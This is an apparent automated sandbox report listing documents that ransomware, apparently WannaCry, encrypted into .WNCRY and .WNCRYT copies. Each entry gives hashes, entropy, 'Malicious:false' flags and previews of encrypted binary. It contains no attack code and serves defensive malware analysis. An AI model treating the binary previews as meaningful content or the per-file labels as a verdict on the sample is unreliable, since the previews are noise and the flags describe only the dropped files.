                                      C:\Users\user\Documents\VAMYDFPUND\SFPUSAFIOL.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.803031565751098
                                      Encrypted:false
                                      SSDEEP:24:agRezCdg7Q0Hv0H7jtqS5ElPmUM79IJF3lsiO+sId3TKdWB3tQ4Rx1fmn:agRezipf/tqS5E1z13ip16O4RxQ
                                      MD5:224A4ACCAA333BBEECCFA4421588DE61
                                      SHA1:6A0FD3A96994AB49403AF4AEB1E10AEF3253936F
                                      SHA-256:F30587BFD878D1F434EFE97CD49A98A0730899ECE6CACAA499C3F0244ECF804E
                                      SHA-512:C6340FE2FF4614CCC6043A1987DAC08F5042DDEF893B718D3B27F59F5F97F28B5E6E8FE19E24F5E8FF500983971F8E6BDDA6F8119120D3DD734CD97B4BB3900B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:G!......B.u...z#.....4.UQ.4._C0^..D...RMN.AW ....M.......[...I...J5.0..|....!=C....%...1.N..../.8..?~/...2H.H.../.-....W..J.......S.H..\|..I..Qu..Z:...Z....i..,.......Uq.{x.uRN.......G/...dI..G...vB.b*.\].0...VMc....pm#.t..ou."K...'...k.(..?....^.OG....S.1..&..<....F..c..2....=.....5.p..zT|..ph...rSZ.q.q3....H..x+"...zy.N?..~?..x...F...0...A.Ed....`.|{.%.{.UWHV..ct]7..8...&??.i.Q..d6...]W(.hb~3.c.CL.?m2V.S..,..4...e...'I.N.Y..>...cHR..ii3.Y....rO.Ac...h..|..~....c....P.If3....<jf....^...QxB/.*..3....cf.{wPgC.g.~...2y.r.O...c.........}D..a..M..Ir.NV3P.X...G.A..w.UD..=..)y..._.n........Y..X...;.t...........J.c.e_.......?..X.....Jq.....[.Bw.0..W.SqZ.....I.tV.J.7X.....!.8..Ii.[...a0...e@.f..^T..".`.y[o?E..C............r.L..m.0zka=........r..}....Wio`..A..f..fG. .....fH...R..== bA..P...>*....V..?.........dvK.KaI=T......bl.pl.54......j."..5........s..........1-......~D..d...`1...C9Yd.5.'....c../...x......P..F. v....DU.o..>q.\Z....r/..Y..

                                      C:\Users\user\Documents\VAMYDFPUND\SFPUSAFIOL.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841766728208322
                                      Encrypted:false
                                      SSDEEP:24:bkba5UOLzuIUcrtgTIUzsXkVN5hVdoRYoZAEj9/HOqDqOchuweM6dSOif6fwyrE:bkba5UOLzrGoUVN53doRYqAEjBOCNM6M
                                      MD5:B667895E80AF8AF433A340FCC2EFFBDE
                                      SHA1:04D8512A93E82F964718DE34C654A033F1D86E8A
                                      SHA-256:B5F873CC2D6311CBDA20A5E5F252544ABB4DA74F2BA5B1335EEA7A8FE88CC1F8
                                      SHA-512:CAC5F02F2AF969E105B1906A487AF646D1304C102389C74A092E5BE2B92B99B8C740697796691A49CEB60A4743034F4B8CB4ABA705F6762630CF19B5022126AE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....Y.2...YJ......2.F.D...T...r*J.......2S..4k.2..Dq^\...z..?HPf.-..f.....R.v....M..h...r.......;.">.*|............q.Z=....hI.=...t..G.v.a[xB.&..Qu..:..4i.P......^.Vi.I.............NA...XZ.C.|.S.L...X.l..L...jI.D.Yi%.C%.;....b..{..+.V.6x...Z..F...I............C.0I?P.....4....\J.A.....}..cD].......V.L.....!.../...D}M..."uq.8.5&.J. .i%\..Z...P..5....r..:.3...].}.D.....>...B......12...z.Z...].p.(....`j.l}...:.l,h.]w.c..nj..M...z'.F.B.T.b..\..X..@d..R..<.."u...:....5.2g..........a.V.8Qr.('.0u....F....R.......".. .QV..\..G.....n...8..4.. ...23......q.*..S..Gl.......p.........t.......:.bc.....hw'N....2...@.e/.i...j!.{.h.6UxI..3X..E...(yfF....,.Nb.............jxis............(o.<@....;I>...K/T.q.IGx>....9P.3h.c....J\)U}...Q57.D...q,m.&Q..'.D.m.......0sy.6/qN...RxZO.[t.pe..1qz..lHI..}.huh......u.r'.iZ.I......Q7D~....Z.....#...G.!.sE.S...'S0......6..]...<sS..........kP(TiGr.2..Z.........2.=...-%.1.............2.MB..`3fF2)..\e...x.....

                                      C:\Users\user\Documents\VAMYDFPUND\SFPUSAFIOL.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.841766728208322
                                      Encrypted:false
                                      SSDEEP:24:bkba5UOLzuIUcrtgTIUzsXkVN5hVdoRYoZAEj9/HOqDqOchuweM6dSOif6fwyrE:bkba5UOLzrGoUVN53doRYqAEjBOCNM6M
                                      MD5:B667895E80AF8AF433A340FCC2EFFBDE
                                      SHA1:04D8512A93E82F964718DE34C654A033F1D86E8A
                                      SHA-256:B5F873CC2D6311CBDA20A5E5F252544ABB4DA74F2BA5B1335EEA7A8FE88CC1F8
                                      SHA-512:CAC5F02F2AF969E105B1906A487AF646D1304C102389C74A092E5BE2B92B99B8C740697796691A49CEB60A4743034F4B8CB4ABA705F6762630CF19B5022126AE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....Y.2...YJ......2.F.D...T...r*J.......2S..4k.2..Dq^\...z..?HPf.-..f.....R.v....M..h...r.......;.">.*|............q.Z=....hI.=...t..G.v.a[xB.&..Qu..:..4i.P......^.Vi.I.............NA...XZ.C.|.S.L...X.l..L...jI.D.Yi%.C%.;....b..{..+.V.6x...Z..F...I............C.0I?P.....4....\J.A.....}..cD].......V.L.....!.../...D}M..."uq.8.5&.J. .i%\..Z...P..5....r..:.3...].}.D.....>...B......12...z.Z...].p.(....`j.l}...:.l,h.]w.c..nj..M...z'.F.B.T.b..\..X..@d..R..<.."u...:....5.2g..........a.V.8Qr.('.0u....F....R.......".. .QV..\..G.....n...8..4.. ...23......q.*..S..Gl.......p.........t.......:.bc.....hw'N....2...@.e/.i...j!.{.h.6UxI..3X..E...(yfF....,.Nb.............jxis............(o.<@....;I>...K/T.q.IGx>....9P.3h.c....J\)U}...Q57.D...q,m.&Q..'.D.m.......0sy.6/qN...RxZO.[t.pe..1qz..lHI..}.huh......u.r'.iZ.I......Q7D~....Z.....#...G.!.sE.S...'S0......6..]...<sS..........kP(TiGr.2..Z.........2.=...-%.1.............2.MB..`3fF2)..\e...x.....

                                      C:\Users\user\Documents\VAMYDFPUND\SQSJKEBWDT.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.780737375181617
                                      Encrypted:false
                                      SSDEEP:24:OhIBPSiZnAJJgyyemjvdRRjsysG6uRJnw+X:kIBPfwlmjvdHjsXIJd
                                      MD5:D344FFAF773B296842859F32ED854847
                                      SHA1:7E96FB26B557EFE238445F83BCF8417EC1AB1A3F
                                      SHA-256:5BA982BD9A28354E61836C309EE6AEED15B27F8726E40190B7706D648758F99F
                                      SHA-512:81DF71A423F4BBBF79293289385A9D4B2E44B1AAE262C3AA8EC8794BDC1211583F4F41212FAAF54A383FC68068E542660170DB6F5CFF13B96355266652A6E758
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...M.m.8..2k....GV.K.u{.v9.4..*T./.=.Px..O..............*).t...p[H..-9*..Yo....2.*.s. 6.;d|zv......6..)h.....]...:....7..Z.....2.._..".80}.de+'.Pd..\..].l..R95Mj..............E...d.D.m..}Y...`..<..C.*....\...g..`...l.,.k.2(..d...(}4.e{"..@.....,OR..,'.#g..Z....hk....F.4.].n..................}&..."...#.-.Y..O"...4X....*D...x..}..j.....i._.u.....'.)..1........}..tL.m.Gj.., .@T#`....b.x8......bw.....-.gW...A&a......^D.u..8[.N.K4.T..M...K...]..7..?$5........,..*......#.L...k>~r......[4.5.....K....Hu.z..^!..FUC.B...R&...~h.+.>.........m...|....f...tk.R9?.9.t......#...9...F...*.1Y[.8...h/..f.`...G...?.@....iY.hz..P...I.-...}..AB-....y..v.d..mF%../kn...Ha.,.J........r..[".o...TcRI...h.i.m..xU...y..,.....b..<...9.6+.{RC9..z..3..h5_.2...-k.ls..\.r.."..=..xT......i.!....".M...o.R.{d..0j.m.&....r.l...;4$..M...N:..6...:.|.yIo9[............>..A..J9.=M..!0.o..Yo..4.....d..f.^..M ......m.Y..4\..XH...O`......h......*...\.V...;....(aub.-2.V..a..t)...

                                      C:\Users\user\Documents\VAMYDFPUND\SQSJKEBWDT.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.857579461042612
                                      Encrypted:false
                                      SSDEEP:24:bk7iVb5uBxhKCWjzlM/Y00vefCpX6MKhupydDl/puF7EM5bGjal9s9XFXfmAZO:bk7iVb5wjKCWjzlM/YveqpuhXDlhueEj
                                      MD5:219FCEABA5CACEF7044E49100BADF069
                                      SHA1:02470B257EF14FFFB7E9C26E2ADBC708C116F674
                                      SHA-256:B9DBEE56ACEF763A292F95780F29F098FE92FDAC5923D0BCBAE5E0DD4058AB70
                                      SHA-512:4012AA53E022C53483F07D97693E8871F76E6B5B6554E4A6E96A08D0FB2C12C8A0C3DA29E7B2C20318A855CD33394FC3005DE95574F7613797DA5143B5C66357
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........(..Z..J.9.>.6I....[.$O<..t...A.......L~0......4.WG(....&;.#.XVR..L.........]=.....8.b..`.......[...w.'G../-...$..>...R*...2lA......_.B._R.y\xo......'.......'...t..e0...r.B.p>r....`)......AT.r9...',_Fp..L..pc..L..B.0bS:...LE.......V.............CQB.`..sN..L.M..g....A..!5...i.vD.....L.~.#f.q.....F..lZzW.F.Y*.3.............y.. ..T7.E.iA:...-7VX.D... e....2..c.p6.$.I.o.3U.>.-_........x-x=.$"0..F&#...._K....F...[.<.]...G./A.j...U.&...U......nmC...4E,0..O....7b.|....6..F.+4uOVsJ*.F>..`.N.i.t.....%.=..uf..T.....e,i.3jw..T.t.^W.p...".<.n...-..`..V....3....G...q>...uS...z.L.o..0.^X..H....9...7.&..$...t2..8.\a.5.l.l.t.Z21.>. m.......;.....9YT.h+..-.......... .Ti..n...J...=X..3.{K't. <.\...B.^8m.e.4G.....K~d. .1?.=m....y........$P".`f';>W...4.{..%.}.j......\.....bBL...K.;.Zf....ki..,.v.6.....#V%..1ce"..g.....2.k.2...CJ].X._....k.]9..f...y...~.....Z.,...i.fM...[@%.x[.)......n7..{..O....}...D...-..v8...#.I..oB.AE.....(,...2..~n?k......)

                                      C:\Users\user\Documents\VAMYDFPUND\SQSJKEBWDT.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.857579461042612
                                      Encrypted:false
                                      SSDEEP:24:bk7iVb5uBxhKCWjzlM/Y00vefCpX6MKhupydDl/puF7EM5bGjal9s9XFXfmAZO:bk7iVb5wjKCWjzlM/YveqpuhXDlhueEj
                                      MD5:219FCEABA5CACEF7044E49100BADF069
                                      SHA1:02470B257EF14FFFB7E9C26E2ADBC708C116F674
                                      SHA-256:B9DBEE56ACEF763A292F95780F29F098FE92FDAC5923D0BCBAE5E0DD4058AB70
                                      SHA-512:4012AA53E022C53483F07D97693E8871F76E6B5B6554E4A6E96A08D0FB2C12C8A0C3DA29E7B2C20318A855CD33394FC3005DE95574F7613797DA5143B5C66357
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........(..Z..J.9.>.6I....[.$O<..t...A.......L~0......4.WG(....&;.#.XVR..L.........]=.....8.b..`.......[...w.'G../-...$..>...R*...2lA......_.B._R.y\xo......'.......'...t..e0...r.B.p>r....`)......AT.r9...',_Fp..L..pc..L..B.0bS:...LE.......V.............CQB.`..sN..L.M..g....A..!5...i.vD.....L.~.#f.q.....F..lZzW.F.Y*.3.............y.. ..T7.E.iA:...-7VX.D... e....2..c.p6.$.I.o.3U.>.-_........x-x=.$"0..F&#...._K....F...[.<.]...G./A.j...U.&...U......nmC...4E,0..O....7b.|....6..F.+4uOVsJ*.F>..`.N.i.t.....%.=..uf..T.....e,i.3jw..T.t.^W.p...".<.n...-..`..V....3....G...q>...uS...z.L.o..0.^X..H....9...7.&..$...t2..8.\a.5.l.l.t.Z21.>. m.......;.....9YT.h+..-.......... .Ti..n...J...=X..3.{K't. <.\...B.^8m.e.4G.....K~d. .1?.=m....y........$P".`f';>W...4.{..%.}.j......\.....bBL...K.;.Zf....ki..,.v.6.....#V%..1ce"..g.....2.k.2...CJ].X._....k.]9..f...y...~.....Z.,...i.fM...[@%.x[.)......n7..{..O....}...D...-..v8...#.I..oB.AE.....(,...2..~n?k......)

                                      C:\Users\user\Documents\VAMYDFPUND\VAMYDFPUND.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.7870563395208405
                                      Encrypted:false
                                      SSDEEP:24:tJfcorMGEy794zf9KI6Gh82n67TC/NFTob:tJi07Kz9K4w7YFTob
                                      MD5:F81C4722FFEB5FE80C93236B31845726
                                      SHA1:2638F2EEE90103424F30C97572A5D6DD3D491E12
                                      SHA-256:A1CCA5D93464E3C5F225B0A6CA829E965A5C1575611474B268368DB2D880C587
                                      SHA-512:D54CB64E9AD200DB3400519E46EE00DBD06BE64CCC5EC77EE74D88DF230372DBC8927A13E38230E55FD6650FDA2549674C060002A92722E34785D74A4237144D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:A...i..0.....#U.z1.._.....Z..0...B0R..M...&.d..>....jR.........8...Q.... .%...l7....6..... .."w..lq.F...l...I......(7....-ao.._...'.v...91.zl8.7..wKw.K;f.J.A........>.UZdB6O.v.X.f.d...&...ZnK.-p.1.6Q=.nN..F..a.[.r...5kv9m...(8......l..e...J..Nmt.vU.UM...."...=f..T.........W..O.._..d...L..S.....<...(.....$....X...... F.df.......r ....=......o...Q.]....k...y_.,..~..p...AS...Dc..........z..{....gy....Y.n.XH.s...~.G..#yO..y^0.R>.#....Yw..>@.....`.A.....@..Q..7......z......V.".$....xw.c..WA.....6m_.1)..5.1P..Z.(.....df.._...',..Dv.&...._)..o.]..)>./.Ya..[X...k;.A.......7(p.h........W.......m.q..gE./....H....{......Y...L..}..p...':m..............;.H.Rsi..|. ...~....Q.....g.b\.tB..X.[AMo......g%P:..L..-g..eU.....:..m..g..K.1....G#4...^...|....sRh...f....X.^..v.M).*..x..=.Gq6(f.rk..N..#.z,..b.y.l......`F.$...Q...;}..5i.v.l......B....Q.?.....LC[.Z.V..B.?.....7L9...xD.h`..(.\wA7.h`"E.,.......FJ..|..>'iO.....G...(..5nS.8.y.....%.v....T...O.....K...

                                      C:\Users\user\Documents\VAMYDFPUND\VAMYDFPUND.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.842453851962851
                                      Encrypted:false
                                      SSDEEP:24:bku7KBYpmH+/QDx3mNMGe/TYCzLazxcavQ9fLbeY8NydaFXMBFpHO5ABplZKOhb:bk0KGQDRSh4ETvQNbe7EdaJMBTHO5kZb
                                      MD5:4D180E2D323FF19277C6ED31F5F99455
                                      SHA1:D757DC04E94A2A36BCDB8A35AF0CE488D3C6CB8E
                                      SHA-256:416B0E6AF9AD24DEDCE52A854F3EF54DB4695974FD1C8B7281153B375338C99F
                                      SHA-512:EB20B2C0253EB0E0CEE0071E62E023860B176EBFF0377D432A410D78C9E156CE37B5C92F6BB595B5816523CA34E8A053A3106EA5ED79680DE7CD138CC3F6C5C6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....".v...S.....o....f.....9.....9.......$.f...!.*1..{......).lbw.....7_....O.Q...&D.*...P.H..~~,..<Zw-.A=.i.+..M.W........C...................-!...>.X.s.5.7P.McH...ul.V........G [9....o.9..C..bb....Xvy\....f.C+Xf...$.....E,...].?_y.....S.. .................b...|..........JZos.y..L\."..(Y..9.d!.lw....o.?=D.v..e:..S/....yJ..|....r..A..a!.....gC?^...Ns...i"..Y.#....[...qOtaY.....N.h.rr......[.......x.X..hO..Y...U....;.8W....8K.3...|.#......v.o.QA... H..o...t:......X..ni...Zv[....."..0si.K..+./[,..Iiu>..ez+.$...pW....CX.n..P...J..C.....&D..e..B.....yr.*F.....}.<....#IW..WK..B...........BRm.(.%...\.-...d?.....".k_.V.oA..B2pH..V.....W...;.....!.p.G.$....da.e.h..Zn..,i.%h..*~.4A..P.0aj..6.f.Gi.....E.w+kt..K.......r...........3{....Gr...B+.n....0?..A....k...m......Q.'{....X..\...k.R.3.?ee..:....UKS.=(..%.T .J%R..n...E..:P...Z0..h...*....k.......G.U.....u.l..J'.....e.......(.|...TS.....OA .).t..0...pL.m...!=k|....O..b...sr..e..y.

                                      C:\Users\user\Documents\VAMYDFPUND\VAMYDFPUND.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.842453851962851
                                      Encrypted:false
                                      SSDEEP:24:bku7KBYpmH+/QDx3mNMGe/TYCzLazxcavQ9fLbeY8NydaFXMBFpHO5ABplZKOhb:bk0KGQDRSh4ETvQNbe7EdaJMBTHO5kZb
                                      MD5:4D180E2D323FF19277C6ED31F5F99455
                                      SHA1:D757DC04E94A2A36BCDB8A35AF0CE488D3C6CB8E
                                      SHA-256:416B0E6AF9AD24DEDCE52A854F3EF54DB4695974FD1C8B7281153B375338C99F
                                      SHA-512:EB20B2C0253EB0E0CEE0071E62E023860B176EBFF0377D432A410D78C9E156CE37B5C92F6BB595B5816523CA34E8A053A3106EA5ED79680DE7CD138CC3F6C5C6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....".v...S.....o....f.....9.....9.......$.f...!.*1..{......).lbw.....7_....O.Q...&D.*...P.H..~~,..<Zw-.A=.i.+..M.W........C...................-!...>.X.s.5.7P.McH...ul.V........G [9....o.9..C..bb....Xvy\....f.C+Xf...$.....E,...].?_y.....S.. .................b...|..........JZos.y..L\."..(Y..9.d!.lw....o.?=D.v..e:..S/....yJ..|....r..A..a!.....gC?^...Ns...i"..Y.#....[...qOtaY.....N.h.rr......[.......x.X..hO..Y...U....;.8W....8K.3...|.#......v.o.QA... H..o...t:......X..ni...Zv[....."..0si.K..+./[,..Iiu>..ez+.$...pW....CX.n..P...J..C.....&D..e..B.....yr.*F.....}.<....#IW..WK..B...........BRm.(.%...\.-...d?.....".k_.V.oA..B2pH..V.....W...;.....!.p.G.$....da.e.h..Zn..,i.%h..*~.4A..P.0aj..6.f.Gi.....E.w+kt..K.......r...........3{....Gr...B+.n....0?..A....k...m......Q.'{....X..\...k.R.3.?ee..:....UKS.=(..%.T .J%R..n...E..:P...Z0..h...*....k.......G.U.....u.l..J'.....e.......(.|...TS.....OA .).t..0...pL.m...!=k|....O..b...sr..e..y.

                                      C:\Users\user\Documents\VAMYDFPUND\ZQIXMVQGAH.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.799651948877692
                                      Encrypted:false
                                      SSDEEP:24:dQpi0iD5HA8jsq6KfGwaMAWUyXZ851BBRwMpRHOH+oMIl:dgi0iDO8mKfRaYTXyBBRwMpQCIl
                                      MD5:D7D7E26DB547D460FFD18337A41DD966
                                      SHA1:0A27B035CFD2E3C2272D76CC287E524F677D3D10
                                      SHA-256:766F952CADB04DA0FF3802D1EC3B6F5B7245BF41959B71B613B11052C57B53C7
                                      SHA-512:4B82B59B888243CE2E0CB171FC0F84C7E8AE672132016144A143739BB858E0E76E2A9ACAEE0C2FE0750CF79C0CEF0B8959FAD3C9E84D7B406D2557978B7F5A75
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:u...+./..?.K..0'.l6.i..5.........dJ+e.>...4$..=...=.xY.(...,Cf0.cA...I....97..'].j..~.P.V.1...AI-..[=..2m...yU....k`.nw....i...[..PW......!.;k...+..`..|...o>7.S...@...........i .'...8....s.}.....T%..&Y...3.1..1.&w..,@.......-....xr,.P.a@b.k."..._.."..S.T~>"....p.Rvm.^OwZ@....k....B...8...y..P Fe.C.....`......iuSg.<1..h=.....GG...s.t.t...m..A...!.......V.....E..Ga..%....+..(.*......FDv...t....../.....j.|?.....6[...b.8|.Il....F..zr...j..~.......v...I,jkx.X[...~.....(..{H.....g.S..x4#..dY...v^J.+.=.(.Vz5 %.w$..8....z..d:.......U.1...k.7n..a..x*...b.r0.E.;..9..OX"V#G.,...?..\..KKi...9..DA..t.&....!.A..........#..N."...2V....8/...(.h.#..>x>l^o.!ss...|R.......ABu.p.4.~>. )N.4......r.E..p<pt.yN\.[....>A.+L..=.a.v"...{.6}M;.J...e.h._3....;.0....bKDF..?....~.x....B&...'.,.(..RP...e."W.G.....e.g...O.#...........T.C7.-...{.....g....O..o..yx0.r4Z\J.9....6.1.Cv.<..w.....s.iL.04..].WL........9...3.9.RJ..~...g...K.2?.,.T.o..u....pr........o.L..

                                      C:\Users\user\Documents\VAMYDFPUND\ZQIXMVQGAH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.838676660200516
                                      Encrypted:false
                                      SSDEEP:24:bkLknJt8EsuU/F6vIJeCK+8DDSWC+lGF29F4xrI96sEYmNrEAiOcvdRVyk8y0j:bkAndAt6vIcF/Ou4xI96sEh9EAvclRVA
                                      MD5:6D78EE9CAD054E6C7528922120E5C0EB
                                      SHA1:E545EC986F1C69423880590F9FDBD1B5257B30FC
                                      SHA-256:97C29DCD6A934698FD0A760ECDD96FFDBFF3B7426C7D02F17BE01A2286C8F687
                                      SHA-512:66083636BF26364B19E80B474EC7136E28B6CE7B0D47770D139A6A0F51284F1F47B578CD7B8E45F9FDC9B56DA54D65B188A1F6C93AFE53378242C08379B5AE74
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....{...5...L.."..5^E..c;{..k.+j.x.<.t..t..n......g/:..v..;.....-.....q.....7.r..$............T....H.........y5Q....Sd-&.....D.*L........a..6..e|.f..Ygc=.L.A.Ltu>...sm)mW.$>6...FG.c.n.o~..(...;ac........p.....?.C..F..?t.$pl.H......7.O_..DA-o.utA.J.................UG.....m...|.}..?{.....N.8.....[...c].. .>.BZ..]..q0B.....UN...<.B....In.y9..Z..,..`(..<.Tz.i.E.. .H..P.|.K2..!.u\.........N..c...I..vu.e..l.-.>.z...T....t+.0.o.?9"QI..\..k..l..............?....!...X6d....gIH.5...6....w....8wq.../n..R...-.;..n.b..z6......k~J....h..3r.O9$.j...0.Z.aU..c..dPB...i......OJ...M.gB8.6.....g....F..?>.:NM..5_........{H.)....#......BI.Ki...Q...U.?H~a......W(.tn5A|..L.....U........x.......(|.q..l.......N.V.=.4..O#.K>..C..6..,.q....E..W@.O..;.o...k..M.....r........ .z....5.da........._]..e>....$..a.....G5...2.x.*.aE.."u...0vj...q....oa*O..[.....dW.-f...:..}... ...6..%^8=.....Q..7*\."dt...,.q..3..bx....x.-..ZX.,\.|.....b.._..9zj.M..vv.|m.P.bP........|.

                                      C:\Users\user\Documents\VAMYDFPUND\ZQIXMVQGAH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.838676660200516
                                      Encrypted:false
                                      SSDEEP:24:bkLknJt8EsuU/F6vIJeCK+8DDSWC+lGF29F4xrI96sEYmNrEAiOcvdRVyk8y0j:bkAndAt6vIcF/Ou4xI96sEh9EAvclRVA
                                      MD5:6D78EE9CAD054E6C7528922120E5C0EB
                                      SHA1:E545EC986F1C69423880590F9FDBD1B5257B30FC
                                      SHA-256:97C29DCD6A934698FD0A760ECDD96FFDBFF3B7426C7D02F17BE01A2286C8F687
                                      SHA-512:66083636BF26364B19E80B474EC7136E28B6CE7B0D47770D139A6A0F51284F1F47B578CD7B8E45F9FDC9B56DA54D65B188A1F6C93AFE53378242C08379B5AE74
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....{...5...L.."..5^E..c;{..k.+j.x.<.t..t..n......g/:..v..;.....-.....q.....7.r..$............T....H.........y5Q....Sd-&.....D.*L........a..6..e|.f..Ygc=.L.A.Ltu>...sm)mW.$>6...FG.c.n.o~..(...;ac........p.....?.C..F..?t.$pl.H......7.O_..DA-o.utA.J.................UG.....m...|.}..?{.....N.8.....[...c].. .>.BZ..]..q0B.....UN...<.B....In.y9..Z..,..`(..<.Tz.i.E.. .H..P.|.K2..!.u\.........N..c...I..vu.e..l.-.>.z...T....t+.0.o.?9"QI..\..k..l..............?....!...X6d....gIH.5...6....w....8wq.../n..R...-.;..n.b..z6......k~J....h..3r.O9$.j...0.Z.aU..c..dPB...i......OJ...M.gB8.6.....g....F..?>.:NM..5_........{H.)....#......BI.Ki...Q...U.?H~a......W(.tn5A|..L.....U........x.......(|.q..l.......N.V.=.4..O#.K>..C..6..,.q....E..W@.O..;.o...k..M.....r........ .z....5.da........._]..e>....$..a.....G5...2.x.*.aE.."u...0vj...q....oa*O..[.....dW.-f...:..}... ...6..%^8=.....Q..7*\."dt...,.q..3..bx....x.-..ZX.,\.|.....b.._..9zj.M..vv.|m.P.bP........|.

                                      C:\Users\user\Documents\WKXEWIOTXI.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.802514002578943
                                      Encrypted:false
                                      SSDEEP:24:+/cFxuRm01UH7kjsAZM7BCpPteYefOK2WZ6rfJWvjsivVGZfmeu7:+J1UzUM7BCpofOKJ6zkQQjeu7
                                      MD5:61EE380514F0FE5B0B44B6C92616077F
                                      SHA1:4FB0BBF2818F8E809788E2F5DA214893AFEBD57B
                                      SHA-256:733A0D237DB7334305FA7261E85EBBBBB82CD28132767BF433D4123E5EBEAFD8
                                      SHA-512:CD4E456F04B15B1FEDFDAA32B973C253DEA0DFB59BC377CDF45E2FCA9AAF22CC8CE70A8DEB0049AF42148D6B860DADC96432E60727B5BC35007D9F4F22202FF0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:-.uO.Z.1...z.n+x;........!5...}../.....pJGp`...=l.....Ce......y.\...Ot..0.t....s.f..L...<.Y.n0..x..d....|v;.Y.....m.5.gU..4.[......V.....St...S...V...!.....?..kHb4.9CCT.....2.?...)...gjm.w3.x...... u..y..&..9.$.|....V.0..&..nD..&....<.#....?T~....K.^wt,.e.g.[..L.....O..9.81.......h..nye..".....UX.)...'.....I...gbh:.Sg..]A..8.....j...........?...!1*.Q..o.Dm.......Q8......71Q......H...l..|.../.$o.....W6"\.F5..&..X.."./...f.5f..7Y..Jo...v.>..A{.9P.!..[...74MoGr'.`.b..;c.....;...BA..L.0.m..!N...$........X=....{..g..?.U.uL5.0..0....9.e....i...A.\..#Ws....!=..b..so..v.v.k.b../..x.x.GG}.#h.......7.d..e..9....W.{...cm)....M....QU...d....2.K..6..5..D..s.f"}29e.s.KC0.K..u..Z....^.z.y.R..s...@D=r,..$..t..~...Q.....,n....ky..D..../i.h..@O.3..O.....t...........?.....lDN..%+...o)_...y;bn....Zg.]9.@........]..._..0f....gA.I..;fJ....x..D..lRN..,.f~..\...@.o..Ie.....{.s..lE..5....B...9..).....p5...*.4..b.....{.?.......l0K.&..p.A$...U...K.

                                      C:\Users\user\Documents\WKXEWIOTXI.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8327998082404555
                                      Encrypted:false
                                      SSDEEP:24:bkeZzrTBDI5VMXlK79NNEi6oqa+OQDqghRRjkjUwus2jcHUP3J3JbqG1Zs4/yGm+:bk95VMXlO9NN3+OAs0gHUP3OKZPqvBc
                                      MD5:67AE8F373028D75199B94BF6E29F58AF
                                      SHA1:365856CC1ED8293229E31AB8EE00010FA97CDF78
                                      SHA-256:AAE3BB77ACB1335299CAEC59FEF244427BB69DC8D79C413368381663E4160FCE
                                      SHA-512:1C8A2034B6AF050817BBD5C4E8C2CF70B08BFB3AE159E81BE9BCD125639FD24A18472773F85E88C5B6845CB230AF249F3E5AFDEB95827EAC0F2025A2C24770F1
                                      Malicious:false
                                      Reputation:unknown
